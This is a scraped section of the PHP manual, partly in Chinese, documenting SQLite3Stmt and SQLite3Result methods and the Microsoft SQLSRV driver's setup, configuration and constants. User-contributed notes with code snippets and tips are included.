[[Note to moderators (this section may be deleted once it has been read; I'm also fine with feedback on the following):

- Please don't consider this comment a bug report - I just want others to be aware of this issue so they don't have to bumble around for hours scratching their heads. :P

- As of the submission date of this comment, there's a unapproved diff for this page stuck in DocBook so I can't add something like "due to bug #64531, you are recommended to wrap fetchArray() inside numColumns()...", which I think would carry more weight than this comment until this bug is fixed.]]


Get the SQL of the statement

  • ? SQLite3Stmt::execute
  • SQLite3Stmt::paramCount ?
  • PHP Manual
  • SQLite3Stmt
  • Get the SQL of the statement

SQLite3Stmt::getSQL

(PHP 7 >= 7.4.0, PHP 8)

SQLite3Stmt::getSQL — Get the SQL of the statement

说明

public SQLite3Stmt::getSQL(bool $expand = false): string|false

Retrieves the SQL of the prepared statement. If expand is false, the unmodified SQL is retrieved. If expand is true, all query parameters are replaced with their bound values, or with an SQL NULL, if not already bound.

参数

expand

Whether to retrieve the expanded SQL. Passing true is only supported as of libsqlite 3.14.

返回值

Returns the SQL of the prepared statement, 或者在失败时返回 false.

错误／异常

If expand is true, but the libsqlite version is less than 3.14, an error of level E_WARNING or an Exception is issued, according to SQLite3::enableExceptions().

示例

Example #1 Inspecting the expanded SQL

<?php
$db = new SQLite3(':memory:');
$stmt = $db->prepare("SELECT :a, ?, :c");
$stmt->bindValue(':a', 'foo');
$answer = 42;
$stmt->bindParam(2, $answer);
var_dump($stmt->getSQL(true));
?>

以上示例的输出类似于：

string(24) "SELECT 'foo', '42', NULL"

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of parameters within the prepared statement

  • ? SQLite3Stmt::getSQL
  • SQLite3Stmt::readOnly ?
  • PHP Manual
  • SQLite3Stmt
  • Returns the number of parameters within the prepared statement

SQLite3Stmt::paramCount

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Stmt::paramCount — Returns the number of parameters within the prepared statement

说明

public SQLite3Stmt::paramCount(): int

Returns the number of parameters within the prepared statement.

参数

此函数没有参数。

返回值

Returns the number of parameters within the prepared statement.

参见

  • SQLite3::prepare() - Prepares an SQL statement for execution

User Contributed Notes

There are no user contributed notes for this page.


Returns whether a statement is definitely read only

  • ? SQLite3Stmt::paramCount
  • SQLite3Stmt::reset ?
  • PHP Manual
  • SQLite3Stmt
  • Returns whether a statement is definitely read only

SQLite3Stmt::readOnly

(PHP 5 >= 5.3.6, PHP 7, PHP 8)

SQLite3Stmt::readOnly — Returns whether a statement is definitely read only

说明

public SQLite3Stmt::readOnly(): bool

Returns whether a statement is definitely read only. A statement is considered read only, if it makes no direct changes to the content of the database file. Note that user defined SQL functions might change the database indirectly as a side effect.

参数

此函数没有参数。

返回值

Returns true if a statement is definitely read only, false otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Resets the prepared statement

  • ? SQLite3Stmt::readOnly
  • SQLite3Result ?
  • PHP Manual
  • SQLite3Stmt
  • Resets the prepared statement

SQLite3Stmt::reset

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Stmt::reset — Resets the prepared statement

说明

public SQLite3Stmt::reset(): bool

Resets the prepared statement to its state prior to execution. All bindings remain intact after reset.

参数

此函数没有参数。

返回值

Returns true if the statement is successfully reset, 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


SQLite3Result 类

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

简介

处理 SQLite 3 扩展返回结果集的类。

类摘要

class SQLite3Result {
/* 方法 */
private __construct()
public columnName(int $column): string|false
public columnType(int $column): int|false
public fetchArray(int $mode = SQLITE3_BOTH): array|false
public finalize(): bool
public numColumns(): int
public reset(): bool
}

Table of Contents

  • SQLite3Result::columnName — Returns the name of the nth column
  • SQLite3Result::columnType — Returns the type of the nth column
  • SQLite3Result::__construct — Constructs an SQLite3Result
  • SQLite3Result::fetchArray — Fetches a result row as an associative or numerically indexed array or both
  • SQLite3Result::finalize — Closes the result set
  • SQLite3Result::numColumns — Returns the number of columns in the result set
  • SQLite3Result::reset — Resets the result set back to the first row

User Contributed Notes

atesin () 6m4i1 ! com 02-Mar-2021 02:56
in response to jan at bootfinder dot co dot uk (comment #115891) about getting num_rows...

how about (not tested)... ?

<?php // do cleans before and after if needed

for ( $nrows = 0; isarray($result->fetchArray()); ++$nrows );
return $nrows;

?>
jan at bootfinder dot co dot uk 10-Oct-2014 03:43
I use the following code to get num_rows:

<?php
...
$nrows = 0;
$result->reset();
while ($result->fetchArray())
    $nrows++;
$result->reset();
return $nrows;
...
?>
sameers dot public at gmail dot com 23-May-2014 05:30
According to http://www.php.net/manual/en/sqlite3result.columntype.php, and also per my experience, columnType() doesn't return anything other than SQLITE3_NULL. Consequently, the test suggested in the comment that tries to identify whether a column is NULL is incorrect.

The right thing to do appears to be to test if ($result->fetchArray())[0] == null.
alan71-at-free-fr 28-Dec-2010 06:34
Here's a snippet that might help you to write a fetchObject function that is also missing:

<?php

function fetchObject($sqlite3result, $objectType = NULL) {
    $array = $sqlite3result->fetchArray();

    if(is_null($objectType)) {
        $object = new stdClass();
    } else {
        // does not call this class' constructor
        $object = unserialize(sprintf('O:%d:"%s":0:{}', strlen($objectType), $objectType));
    }

    $reflector = new ReflectionObject($object);
    for($i = 0; $i < $sqlite3result->numColumns(); $i++) {
        $name = $sqlite3result->columnName($i);
        $value = $array[$name];

        try {
            $attribute = $reflector->getProperty($name);

            $attribute->setAccessible(TRUE);
            $attribute->setValue($object, $value);
        } catch (ReflectionException $e) {
            $object->$name = $value;
        }
    }

    return $object;
}

?>

Heavily inspired of Bergmann's Object Freezer :
https://github.com/sebastianbergmann/php-object-freezer/blob/master/Object/Freezer.php
claudiu at virtuamagic dot com 08-Mar-2010 02:34
fetchArray() will return bool(false) in case of 0 rows.
jonscully at gmail dot com 30-Nov-2009 01:35
Since SQLite3Result::numRows is unavailable, use:

<?php
if ($res->numColumns() && $res->columnType(0) != SQLITE3_NULL) {
    // have rows
} else {
    // zero rows
}
?>

Because when there are zero rows:
* SQLite3Result::fetchArray will return '1'
* SQLite3Result::numColumns will return '1'
* Column type for column '0' will be SQLITE3_NULL


Returns the name of the nth column

  • ? SQLite3Result
  • SQLite3Result::columnType ?
  • PHP Manual
  • SQLite3Result
  • Returns the name of the nth column

SQLite3Result::columnName

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Result::columnName — Returns the name of the nth column

说明

public SQLite3Result::columnName(int $column): string|false

Returns the name of the column specified by the column. Note that the name of a result column is the value of the AS clause for that column, if there is an AS clause. If there is no AS clause then the name of the column is unspecified and may change from one release of libsqlite3 to the next.

参数

column

The numeric zero-based index of the column.

返回值

Returns the string name of the column identified by column, or false if the column does not exist.

User Contributed Notes

There are no user contributed notes for this page.


Returns the type of the nth column

  • ? SQLite3Result::columnName
  • SQLite3Result::__construct ?
  • PHP Manual
  • SQLite3Result
  • Returns the type of the nth column

SQLite3Result::columnType

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Result::columnType — Returns the type of the nth column

说明

public SQLite3Result::columnType(int $column): int|false

Returns the type of the column identified by column.

参数

column

The numeric zero-based index of the column.

返回值

Returns the data type index of the column identified by column (one of SQLITE3_INTEGER, SQLITE3_FLOAT, SQLITE3_TEXT, SQLITE3_BLOB, or SQLITE3_NULL), or false if the column does not exist.

User Contributed Notes

hairbysubaru at gmail dot com 17-Jul-2016 02:17
jean-marc is correct. SQLite determines column types dynamically based upon the returned record-set.
jean-marc at paratte dot ch 15-Oct-2014 12:49
To find the type of columns, you need to 'query' the SQL sentence, 'fetchArray' the 1rst row, and then extract the name and type of each column.

Example:

function _sqlite_fetch_all( $db, $sql ) {

    $sqlite = new SQLite3( $db);

    if( $sqlite->lastErrorCode() ) return;

    $result = $sqlite->query( $sql );

    $result->fetchArray( SQLITE3_NUM );
    $fieldnames = [];
    $fieldtypes = [];
    for( $colnum=0; $colnum<$result->numColumns(); $colnum++) {
        $fieldnames[] = $result->columnName($colnum);
        $fieldtypes[] = $result->columnType($colnum);
    }
    $result->reset();

    while( $row = $result->fetchArray( SQLITE3_NUM ) ) {

        for ($colnum=0; $colnum<count($row); $colnum++) {
            $col = &$row[$colnum];
            if (isset($fieldtype_encode_binary[$fieldtypes[$colnum]])) $col = $fieldtype_encode_binary[$fieldtypes[$colnum]]( $col );
        }
        unset($col);
        if ($resulttype == SQLITE3_ASSOC) $row = array_combine( $fieldnames, $row );
        $rows[] = $row;
    }

    $result->finalize();

    $sqlite->close();

    return $rows;
}

Remark 1: The type of a column is SQLITE3_NULL before any 'fetchArray' and 'false' after last fetched row.

Remark2 : The actual values of SQLITE3_INTEGER, SQLITE3_FLOAT, SQLITE3_TEXT, SQLITE3_BLOB, SQLITE3_NULL are 1, 2, 3, 4, 5.
phpnotes at carwash dot org 22-Nov-2011 10:44
This function never returns any value other than 5, indicating SQLITE3_NULL.  SQLite 3 doesn't have column types, it has column affinities.  Different rows of the same table (and rows resulting from a SELECT) can hold values of different types.  Therefore this API cannot return anything useful, and the method appears to be using SQLITE3_NULL as a placeholder.

The function in useless and should be removed or marked as deprecated in future releases, so as not to give any programmer the false idea that the values returned are useful.


Constructs an SQLite3Result

  • ? SQLite3Result::columnType
  • SQLite3Result::fetchArray ?
  • PHP Manual
  • SQLite3Result
  • Constructs an SQLite3Result

SQLite3Result::__construct

(No version information available, might only be in Git)

SQLite3Result::__construct — Constructs an SQLite3Result

说明

private SQLite3Result::__construct()

SQLite3Result instances are created by SQLite3::query() and SQLite3Stmt::execute().

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Fetches a result row as an associative or numerically indexed array or both

  • ? SQLite3Result::__construct
  • SQLite3Result::finalize ?
  • PHP Manual
  • SQLite3Result
  • Fetches a result row as an associative or numerically indexed array or both

SQLite3Result::fetchArray

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Result::fetchArray — Fetches a result row as an associative or numerically indexed array or both

说明

public SQLite3Result::fetchArray(int $mode = SQLITE3_BOTH): array|false

Fetches a result row as an associative or numerically indexed array or both. By default, fetches as both.

参数

mode

Controls how the next row will be returned to the caller. This value must be one of either SQLITE3_ASSOC, SQLITE3_NUM, or SQLITE3_BOTH.

  • SQLITE3_ASSOC: returns an array indexed by column name as returned in the corresponding result set

  • SQLITE3_NUM: returns an array indexed by column number as returned in the corresponding result set, starting at column 0

  • SQLITE3_BOTH: returns an array indexed by both column name and number as returned in the corresponding result set, starting at column 0

返回值

Returns a result row as an associatively or numerically indexed array or both. Alternately will return false if there are no more rows.

The types of the values of the returned array are mapped from SQLite3 types as follows: integers are mapped to int if they fit into the range PHP_INT_MIN..PHP_INT_MAX, and to string otherwise. Floats are mapped to float, NULL values are mapped to null, and strings and blobs are mapped to string.

User Contributed Notes

paule-panke at example dot com 12-Feb-2017 02:22
Check with SQLite3Result::numColumns() for an empty result before calling SQLite3Result::fetchArray().

In contrast to the documentation SQLite3::query() always returns a SQLite3Result instance, not only for queries returning rows (SELECT, EXPLAIN). Each time SQLite3Result::fetchArray() is called on a result from a result-less query internally the query is executed again, which will most probably break your application.
For a framwork or API it's not possible to know in before whether or not a query will return rows (SQLite3 supports multi-statement queries). Therefore the argument "Don't execute query('CREATE ...')" is not valid.
ghaith at cubicf dot net 03-Jan-2017 09:59
// Open a new sqlite3 DB

$db = new SQLite3('./DB_EHLH.db');

// select all information from table "algorithm"

$results= $db->query("select * from algorithm");

//Create array to keep all results
$data= array();

// Fetch Associated Array (1 for SQLITE3_ASSOC)
while ($res= $results->fetchArray(1))
{
//insert row into array
array_push($data, $res);

}

//you can return a JSON array
echo json_encode($data);

//the output is a s follows
[
{"id":1,"algorithm":"GA"},
{"id":2,"algorithm":"PSO"},
{"id":3,"algorithm":"IWO"},
{"id":4,"algorithm":"OIWO"}
]
Jason 03-Oct-2014 10:21
Would just like to point out for clarification that each call to fetchArray() returns the next result from SQLite3Result in an array, until there are no more results, whereupon the next fetchArray() call will return false.

HOWEVER an additional call of fetchArray() at this point will reset back to the beginning of the result set and once again return the first result. This does not seem to explicitly documented, and caused me my own fair share of headaches for a while until I figured it out.

For example:

<?php
        $returned_set = $database->query("select query or whatever");

        //Lets say the query returned 3 results
        //Normally the following while loop would run 3 times then, as $result wouldn't be false until the fourth call to fetchArray()
        while($result = $returned_set->fetchArray()) {
                //HOWEVER HAVING AN ADDITIONAL CALL IN THE LOOP WILL CAUSE THE LOOP TO RUN AGAIN
                $returned_set->fetchArray();
        }
?>

Basically, in the above code fetchArray will return:
1st call | 1st result from $returned_set (fetchArray() call from while condition)
2nd call | 2nd result  (fetchArray() call from while block)
3rd call | 3rd result  (fetchArray() call from while condition)
4th call |FALSE  (fetchArray() call from while block)
5th call | 1st result  (fetchArray() call from while condition)
....

This will cause (at least in this case) the while loop to run infinitely.
alan at synergymx dot com 14-Sep-2010 04:56
To loop through a record set:

<?php
        $db = new SQLite3('auth.sqlite');

        $sql = "SELECT user_id, username, opt_status FROM tbl_user";

        $result = $db->query($sql);//->fetchArray(SQLITE3_ASSOC);

        $row = array();

        $i = 0;

         while($res = $result->fetchArray(SQLITE3_ASSOC)){

             if(!isset($res['user_id'])) continue;

              $row[$i]['user_id'] = $res['user_id'];
              $row[$i]['username'] = $res['username'];
              $row[$i]['opt_status'] = $res['opt_status'];

              $i++;

          }

          print_r($row);
?>


Closes the result set

  • ? SQLite3Result::fetchArray
  • SQLite3Result::numColumns ?
  • PHP Manual
  • SQLite3Result
  • Closes the result set

SQLite3Result::finalize

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Result::finalize — Closes the result set

说明

public SQLite3Result::finalize(): bool

Closes the result set.

参数

此函数没有参数。

返回值

Returns true.

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of columns in the result set

  • ? SQLite3Result::finalize
  • SQLite3Result::reset ?
  • PHP Manual
  • SQLite3Result
  • Returns the number of columns in the result set

SQLite3Result::numColumns

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Result::numColumns — Returns the number of columns in the result set

说明

public SQLite3Result::numColumns(): int

Returns the number of columns in the result set.

参数

此函数没有参数。

返回值

Returns the number of columns in the result set.

User Contributed Notes

There are no user contributed notes for this page.


Resets the result set back to the first row

  • ? SQLite3Result::numColumns
  • SQLSRV ?
  • PHP Manual
  • SQLite3Result
  • Resets the result set back to the first row

SQLite3Result::reset

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Result::reset — Resets the result set back to the first row

说明

public SQLite3Result::reset(): bool

Resets the result set back to the first row.

参数

此函数没有参数。

返回值

Returns true if the result set is successfully reset back to the first row, false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Microsoft SQL Server Driver for PHP

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • SQLSRV 函数
    • sqlsrv_begin_transaction — Begins a database transaction
    • sqlsrv_cancel — Cancels a statement
    • sqlsrv_client_info — Returns information about the client and specified connection
    • sqlsrv_close — Closes an open connection and releases resourses associated with the connection
    • sqlsrv_commit — Commits a transaction that was begun with sqlsrv_begin_transaction
    • sqlsrv_configure — Changes the driver error handling and logging configurations
    • sqlsrv_connect — Opens a connection to a Microsoft SQL Server database
    • sqlsrv_errors — Returns error and warning information about the last SQLSRV operation performed
    • sqlsrv_execute — Executes a statement prepared with sqlsrv_prepare
    • sqlsrv_fetch_array — Returns a row as an array
    • sqlsrv_fetch_object — Retrieves the next row of data in a result set as an object
    • sqlsrv_fetch — Makes the next row in a result set available for reading
    • sqlsrv_field_metadata — Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare or sqlsrv_query
    • sqlsrv_free_stmt — Frees all resources for the specified statement
    • sqlsrv_get_config — Returns the value of the specified configuration setting
    • sqlsrv_get_field — Gets field data from the currently selected row
    • sqlsrv_has_rows — Indicates whether the specified statement has rows
    • sqlsrv_next_result — Makes the next result of the specified statement active
    • sqlsrv_num_fields — Retrieves the number of fields (columns) on a statement
    • sqlsrv_num_rows — Retrieves the number of rows in a result set
    • sqlsrv_prepare — Prepares a query for execution
    • sqlsrv_query — Prepares and executes a query
    • sqlsrv_rollback — Rolls back a transaction that was begun with sqlsrv_begin_transaction
    • sqlsrv_rows_affected — Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed
    • sqlsrv_send_stream_data — Sends data from parameter streams to the server
    • sqlsrv_server_info — Returns information about the server

User Contributed Notes

denis dot khvorostin at gmail dot com 23-Sep-2023 04:33
There is no way to check the state of the Sql Server Connection in PHP currently. The only way is to perform cheap query (e.g. SELECT GETDATE();) on the open connection, catch any SqlException that is thrown, check and re-establish the connection if needed


简介

The SQLSRV extension allows you to access Microsoft SQL Server and SQL Azure databases. The 3.0 release of the driver supports SQL Server, beginning with SQL Server 2005, including SQL Server 2012 and SQL Server 2012 LocalDB. (For more information about LocalDB, see » PHP Driver for SQL Server Support for LocalDB and » SQL Server 2012 Express LocalDB.)

The SQLSRV extension is supported by Microsoft and available for download here: » http://msdn.microsoft.com/en-us/sqlserver/ff657782.aspx. SQL Server 2012 LocalDB can be downloaded here: » http://go.microsoft.com/fwlink/?LinkID=237665.

User Contributed Notes

wr 28-Sep-2017 04:33
According to Microsoft, this extension works on Linux:
https://github.com/Microsoft/msphpsql
(the introduction above does not mention this, rather it says "when running PHP on Windows")
kylewiering at yahoo dot com 01-Feb-2016 02:20
Microsoft has now committed a PHP 7 pre-release beta of the SQLSRV driver on github:
https://github.com/Azure/msphpsql/tree/PHP-7.0

It looks like the PDO driver is their next target. Anyone interested in using mssql and php7 might want to follow/star that repository.
mike at eastghost dot com 31-Jan-2016 06:33
As of Aug 2015, see:

http://www.synet.sk/php/en/230-php-drivers-for-microsoft-sql-server-mssql-sqlsrv-utf8


需求

The SQLSRV extension can be used on the following operating systems:

  • Windows Vista Service Pack 2 or later
  • Windows Server 2008 Service Pack 2 or later
  • Windows Server 2008 R2
  • Windows 7

The SQLSRV extension requires that the Microsoft SQL Server 2012 Native Client be installed on the same computer that is running PHP. If the Microsoft SQL Server 2012 Native Client is not already installed, click the appropriate link below to download it:

  • » Download the x86 package
  • » Download the x64 package

The SQLSRV download comes 8 driver files, four of which are for PDO support.

The most recent version of the driver is available for download here: » SQLSRV download.

For more information about SQLSRV requirements, see » SQLSRV System Requirements.

User Contributed Notes

Fluxy__ 15-Jun-2015 09:19
If you get the error "sqlstate [imssp]: this extension requires the microsoft odbc driver 11"

Msodbcsql.msi should be installed, otherwise it does not.

Take the x64 version and x86 architectures 64 for 32 architectures.

https://msdn.microsoft.com/en-us/library/jj730315%28v=sql.110%29.aspx


安装

The SQLSRV extension is enabled by adding appropriate DLL file to your PHP extension directory and the corresponding entry to the php.ini file. The SQLSRV download comes with 8 driver files, four of which are for PDO support.

The most recent version of the driver is available for download here: » SQLSRV download.

For more information about SQLSRV requirements, see » SQLSRV System Requirements.

Since version 4.0 the SQLSRV extension is compatible only with PHP 7.0 running on Linux or Windows.

User Contributed Notes

jenna1337 21-Sep-2021 12:32
Here's the link to the PHP 8.0 version: https://docs.microsoft.com/en-us/sql/connect/php/download-drivers-php-sql-server?view=sql-server-ver15#previous-releases
grant at seljax dot com 24-May-2018 09:47
Running PHP 7.2 on IIS 10, I had to use the IIS Web Platform Components wizard to install the Microsoft PHP drivers version 5.2 x64 to get this command to work.  Manually installing 4.0 drivers did not work.
denny 11-Jan-2017 06:57
PECL packages for Linux SQLSRV and PDO_SQLSRV drivers (4.0.7) are available now.
https://github.com/Microsoft/msphpsql/releases
simon 20-Feb-2014 03:48
SQLSRV doesn't use mssql_connect - it is it's own extension, therefore to connect you'd use sqlsrv_connect:

http://www.php.net/manual/en/function.sqlsrv-connect.php


运行时配置

这些函数的行为受 php.ini 中的设置影响。

The following table lists the configuration options available in the SQLSRV extension. For more information about these options, see » Handling SQLSRV Warnings and Errors.

SQLSRV 配置选项
名字 | 默认 | 可修改范围 | Changelog
sqlsrv.WarningsReturnAsErrors | 1 (true) | PHP_INI_ALL | Available since SQLSRV 1.0
sqlsrv.LogSubsystems | 0 | PHP_INI_ALL | Available since SQLSRV 1.0
sqlsrv.LogSeverity | 1 | PHP_INI_ALL | Available since SQLSRV 1.0

User Contributed Notes

baklanoid at gmail dot com 01-Sep-2020 05:49
Hey-ho wayfarer! Here is some assembly i did, you may find it useful in your php.ini file :)

[sqlsrv]
; By default, the SQLSRV driver treats warnings as errors;
; a call to a sqlsrv function that generates
; an error or a warning returns false.
sqlsrv.WarningsReturnAsErrors = 1

; By default, errors and warnings that are generated by
; the Microsoft Drivers for PHP for SQL Server are not logged
; LogSubsystems can be one of the following values:
; -1 - Turns on logging of all subsystems.
;  0 - Turns logging off (This is the default).
;  1 - Turns on logging of initialization activity.
;  2 - Turns on logging of connection activity.
;  4 - Turns on logging of statement activity.
;  8 - Turns on logging of error functions activity (such as handle_error and handle_warning).
; These values may be combined with logical OR,
; for example, 6 - connection + statement
sqlsrv.LogSubsystems = -1

; LogSeverity can be one of the following values
; (LOGGING ACTIVITY USING THE PDO_SQLSRV DRIVER):
; -1 - Specifies that errors, warnings, and notices are logged.
;  0 - Logging is disabled (This is the default).
;  1 - Specifies that errors are logged.
;  2 - Specifies that warnings are logged.
;  4 - Specifies that notices are logged.
; Logging information is added to the error_log (php_errors.log) file.
; These values may be combined with logical OR,
; for example, 3 - errors + warnings
sqlsrv.LogSeverity = 1
robert dot urbanski2 at gmail dot com 02-Nov-2016 12:43
Do not omitt these parameters

client_buffer_max_kb_size = '50240'
sqlsrv.ClientBufferMaxKBSize = 50240


资源类型

Connection resource

A connection resource returned by sqlsrv_connect().

Statement resource

A statement resource returned by sqlsrv_query() or by sqlsrv_prepare().

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

SQLSRV_FETCH_ASSOC (int)
Forces sqlsrv_fetch_array() to return an associative array when passed as a parameter.
SQLSRV_FETCH_NUMERIC (int)
Forces sqlsrv_fetch_array() to return an array with numeric when passed as a parameter.
SQLSRV_FETCH_BOTH (int)
Forces sqlsrv_fetch_array() to return an array with both associative and numeric keys when passed as a parameter (the default behavior).
SQLSRV_ERR_ALL (int)
Forces sqlsrv_errors() to return both errors and warings when passed as a parameter (the default behavior).
SQLSRV_ERR_ERRORS (int)
Forces sqlsrv_errors() to return errors only (no warnings) when passed as a parameter.
SQLSRV_ERR_WARNINGS (int)
Forces sqlsrv_errors() to return warnings only (no errors) when passed as a parameter.
SQLSRV_LOG_SYSTEM_ALL (int)
Turns on logging of all subsystems when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SYSTEM_CONN (int)
Turns on logging of connection activity when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SYSTEM_INIT (int)
Turns on logging of initialization activity when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SYSTEM_OFF (int)
Turns off logging of all subsystems when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SYSTEM_STMT (int)
Turns on logging of statement activity when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SYSTEM_UTIL (int)
Turns on logging of error function activity when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SEVERITY_ALL (int)
Specifies that errors, warnings, and notices will be logged when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SEVERITY_ERROR (int)
Specifies that errors will be logged when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SEVERITY_NOTICE (int)
Specifies that notices will be logged when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SEVERITY_WARNING (int)
Specifies that warnings will be logged when passed to sqlsrv_configure() as a parameter.
SQLSRV_NULLABLE_YES (int)
Indicates that a column is nullable.
SQLSRV_NULLABLE_NO (int)
Indicates that a column is not nullable.
SQLSRV_NULLABLE_UNKNOWN (int)
Indicates that it is not known if a column is nullable.
SQLSRV_PARAM_IN (int)
Indicates an input parameter when passed to sqlsrv_query() or sqlsrv_prepare().
SQLSRV_PARAM_INOUT (int)
Indicates a bidirectional parameter when passed to sqlsrv_query() or sqlsrv_prepare().
SQLSRV_PARAM_OUT (int)
Indicates an output parameter when passed to sqlsrv_query() or sqlsrv_prepare().
SQLSRV_PHPTYPE_INT (int)
Specifies an integer PHP data type. For usage information, see » How to: Specify PHP Types.
SQLSRV_PHPTYPE_DATETIME (int)
Specifies a datetime PHP data type. For usage information, see » How to: Specify PHP Types.
SQLSRV_PHPTYPE_FLOAT (int)
Specifies a float PHP data type. For usage information, see » How to: Specify PHP Types.
SQLSRV_PHPTYPE_STREAM (int)
Specifies a PHP stream. This constant works like a function and accepts an encoding constant. See the SQLSRV_ENC_* constants. For usage information, see » How to: Specify PHP Types.
SQLSRV_PHPTYPE_STRING (int)
Specifies a string PHP data type. This constant works like a function and accepts an encoding constant. See the SQLSRV_ENC_* constants. For usage information, see » How to: Specify PHP Types.
SQLSRV_ENC_BINARY (int)
Specifies that data is returned as a raw byte stream from the server without performing encoding or translation. For usage information, see » How to: Specify PHP Types.
SQLSRV_ENC_CHAR (int)
Data is returned in 8-bit characters as specified in the code page of the Windows locale that is set on the system. Any multi-byte characters or characters that do not map into this code page are substituted with a single byte question mark (?) character. This is the default encoding. For usage information, see » How to: Specify PHP Types.
UTF-8 (int)
Specifies that data is returned with UTF-8 encoding. For usage information, see » How to: Specify PHP Types.
SQLSRV_SQLTYPE_BIGINT (int)
Describes the bigint SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_BINARY (int)
Describes the binary SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_BIT (int)
Describes the bit SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_CHAR (int)
Describes the char SQL Server data type. This constant works like a function and accepts a parameter indicating the number characters. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_DATE (int)
Describes the date SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_DATETIME (int)
Describes the datetime SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_DATETIME2 (int)
Describes the datetime2 SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_DATETIMEOFFSET (int)
Describes the datetimeoffset SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_DECIMAL (int)
Describes the decimal SQL Server data type. This constant works like a function and accepts two parameters indicating (in order) precision and scale. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_FLOAT (int)
Describes the float SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_IMAGE (int)
Describes the image SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_INT (int)
Describes the int SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_MONEY (int)
Describes the money SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_NCHAR (int)
Describes the nchar SQL Server data type. This constant works like a function and accepts a single parameter indicating the character count. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_NUMERIC (int)
Describes the numeric SQL Server data type. This constant works like a function and accepts two parameter indicating (in order) precision and scale. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_NVARCHAR (int)
Describes the nvarchar SQL Server data type. This constant works like a function and accepts a single parameter indicating the character count. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_NVARCHAR('max') (int)
Describes the nvarchar(MAX) SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_NTEXT (int)
Describes the ntext SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_REAL (int)
Describes the real SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_SMALLDATETIME (int)
Describes the smalldatetime SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_SMALLINT (int)
Describes the smallint SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_SMALLMONEY (int)
Describes the smallmoney SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_TEXT (int)
Describes the text SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_TIME (int)
Describes the time SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_TIMESTAMP (int)
Describes the timestamp SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_TINYINT (int)
Describes the tinyint SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_UNIQUEIDENTIFIER (int)
Describes the uniqueidentifier SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_UDT (int)
Describes the UDT SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_VARBINARY (int)
Describes the varbinary SQL Server data type. This constant works like a function and accepts a single parameter indicating the byte count. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_VARBINARY('max') (int)
Describes the varbinary(MAX) SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_VARCHAR (int)
Describes the varchar SQL Server data type. This constant works like a function and accepts a single parameter indicating the character count. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_VARCHAR('max') (int)
Describes the varchar(MAX) SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_XML (int)
Describes the XML SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_TXN_READ_UNCOMMITTED (int)
